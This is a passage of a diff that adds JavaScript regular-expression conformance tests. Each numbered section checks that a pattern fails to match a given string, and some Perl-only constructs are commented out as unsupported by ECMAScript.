+addThis();
+
+status = inSection(18);
+pattern = /\by\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(19);
+pattern = /\by\b/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(20);
+pattern = /\by\b/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(21);
+pattern = /\Ba\B/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(22);
+pattern = /\Ba\B/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(23);
+pattern = /\Ba\B/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(24);
+pattern = /\w/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(25);
+pattern = /\W/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(26);
+pattern = /a\sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(27);
+pattern = /\d/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(28);
+pattern = /\D/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(29);
+pattern = /[\w]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(30);
+pattern = /[\W]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(31);
+pattern = /a[\s]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(32);
+pattern = /[\d]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(33);
+pattern = /[\D]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(34);
+pattern = /$b/;
+string = 'b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(35);
+pattern = /^(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(36);
+pattern = /a[bcd]+dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(37);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effg';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(38);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'bcdd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(39);
+pattern = /[k]/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(40);
+pattern = /(a)|\1/;
+string = 'x';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("", undefined);
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(41);
+pattern = /((\3|b)\2(a)x)+/;
+string = 'aaxabxbaxbbx';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("ax", "ax", "", "a");
+addThis();
+
+status = inSection(42);
+pattern = /abc/i;
+string = 'XBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(43);
+pattern = /abc/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(44);
+pattern = /abc/i;
+string = 'ABX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(45);
+pattern = /ab+bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(46);
+pattern = /ab+bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(47);
+pattern = /ab{1,}bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(48);
+pattern = /ab{4,5}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(49);
+pattern = /ab??bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(50);
+pattern = /^abc$/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(51);
+pattern = /^abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(52);
+pattern = /a.*c/i;
+string = 'AXYZD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(53);
+pattern = /a[bc]d/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(54);
+pattern = /a[b-d]e/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(55);
+pattern = /a[^bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(56);
+pattern = /a[^-b]c/i;
+string = 'A-C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(57);
+pattern = /a[^]b]c/i;
+string = 'A]C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(58);
+pattern = /$b/i;
+string = 'B';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(59);
+pattern = /^(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(60);
+pattern = /a[bcd]+dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(61);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFG';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(62);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'BCDD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(63);
+pattern = /[k]/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(64);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(65);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(66);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(67);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(68);
+ pattern = /(?<=a)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(69);
+ pattern = /(?<=a)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(70);
+ pattern = /(?<!c)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(71);
+ pattern = /(?:(?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(72);
+ pattern = /((?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(73);
+ pattern = /(?i:a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(74);
+ pattern = /((?i:a))b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(75);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(76);
+ pattern = /((?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(77);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(78);
+ pattern = /((?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(79);
+ pattern = /(?-i:a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(80);
+ pattern = /((?-i:a))b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(81);
+ pattern = /(?-i:a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(82);
+ pattern = /((?-i:a))b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(83);
+ pattern = /((?-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(84);
+ pattern = /((?s-i:a.))b/i;
+ string = 'B\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(85);
+ pattern = /(?<![cd])b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(86);
+ pattern = /(?<!(c|d))b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(87);
+pattern = /^(?:a?b?)*$/;
+string = 'a--';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(88);
+pattern = /^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(89);
+pattern = /()^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(90);
+ pattern = /(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(91);
+ pattern = /(x)?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(92);
+ pattern = /()(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(93);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(94);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(95);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(96);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(97);
+ pattern = /(?(?{0})a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(98);
+ pattern = /(?(?{1})b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(99);
+ pattern = /(?(?!a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(100);
+ pattern = /(?(?=a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(101);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(102);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(103);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(104);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(105);
+pattern = /(>a+)ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(106);
+pattern = /a\Z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(107);
+pattern = /a\z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(108);
+pattern = /a$/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(109);
+pattern = /a\z/;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(110);
+pattern = /a\z/m;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(111);
+pattern = /a\z/m;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(112);
+pattern = /aa\Z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(113);
+pattern = /aa\z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(114);
+pattern = /aa$/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(115);
+pattern = /aa\z/;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(116);
+pattern = /aa\z/m;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(117);
+pattern = /aa\z/m;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(118);
+pattern = /aa\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(119);
+pattern = /aa\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(120);
+pattern = /aa$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(121);
+pattern = /aa\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(122);
+pattern = /aa\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(123);
+pattern = /aa$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(124);
+pattern = /aa\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(125);
+pattern = /aa\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(126);
+pattern = /aa$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(127);
+pattern = /aa\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(128);
+pattern = /aa\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(129);
+pattern = /aa$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(130);
+pattern = /aa\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(131);
+pattern = /aa\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(132);
+pattern = /aa$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(133);
+pattern = /aa\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(134);
+pattern = /aa\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(135);
+pattern = /aa$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(136);
+pattern = /aa\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(137);
+pattern = /aa\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(138);
+pattern = /aa$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(139);
+pattern = /aa\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(140);
+pattern = /aa\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(141);
+pattern = /aa$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(142);
+pattern = /aa\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(143);
+pattern = /aa\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(144);
+pattern = /aa$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(145);
+pattern = /aa\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(146);
+pattern = /aa\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(147);
+pattern = /aa$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(148);
+pattern = /aa\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(149);
+pattern = /aa\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(150);
+pattern = /aa$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(151);
+pattern = /aa\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(152);
+pattern = /aa\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(153);
+pattern = /aa$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(154);
+pattern = /ab\Z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(155);
+pattern = /ab\z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(156);
+pattern = /ab$/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(157);
+pattern = /ab\z/;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(158);
+pattern = /ab\z/m;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(159);
+pattern = /ab\z/m;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(160);
+pattern = /ab\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(161);
+pattern = /ab\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(162);
+pattern = /ab$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(163);
+pattern = /ab\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(164);
+pattern = /ab\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(165);
+pattern = /ab$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(166);
+pattern = /ab\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(167);
+pattern = /ab\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(168);
+pattern = /ab$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(169);
+pattern = /ab\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(170);
+pattern = /ab\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(171);
+pattern = /ab$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(172);
+pattern = /ab\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(173);
+pattern = /ab\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(174);
+pattern = /ab$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(175);
+pattern = /ab\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(176);
+pattern = /ab\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(177);
+pattern = /ab$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(178);
+pattern = /ab\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(179);
+pattern = /ab\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(180);
+pattern = /ab$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(181);
+pattern = /ab\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(182);
+pattern = /ab\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(183);
+pattern = /ab$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(184);
+pattern = /ab\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(185);
+pattern = /ab\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(186);
+pattern = /ab$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(187);
+pattern = /ab\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(188);
+pattern = /ab\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(189);
+pattern = /ab$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(190);
+pattern = /ab\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(191);
+pattern = /ab\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(192);
+pattern = /ab$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(193);
+pattern = /ab\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(194);
+pattern = /ab\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(195);
+pattern = /ab$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(196);
+pattern = /abb\Z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(197);
+pattern = /abb\z/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(198);
+pattern = /abb$/;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(199);
+pattern = /abb\z/;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(200);
+pattern = /abb\z/m;
+string = 'abb\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(201);
+pattern = /abb\z/m;
+string = 'b\nabb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(202);
+pattern = /abb\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(203);
+pattern = /abb\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(204);
+pattern = /abb$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(205);
+pattern = /abb\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(206);
+pattern = /abb\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(207);
+pattern = /abb$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(208);
+pattern = /abb\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(209);
+pattern = /abb\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(210);
+pattern = /abb$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(211);
+pattern = /abb\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(212);
+pattern = /abb\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(213);
+pattern = /abb$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(214);
+pattern = /abb\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(215);
+pattern = /abb\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(216);
+pattern = /abb$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(217);
+pattern = /abb\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(218);
+pattern = /abb\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(219);
+pattern = /abb$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(220);
+pattern = /abb\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
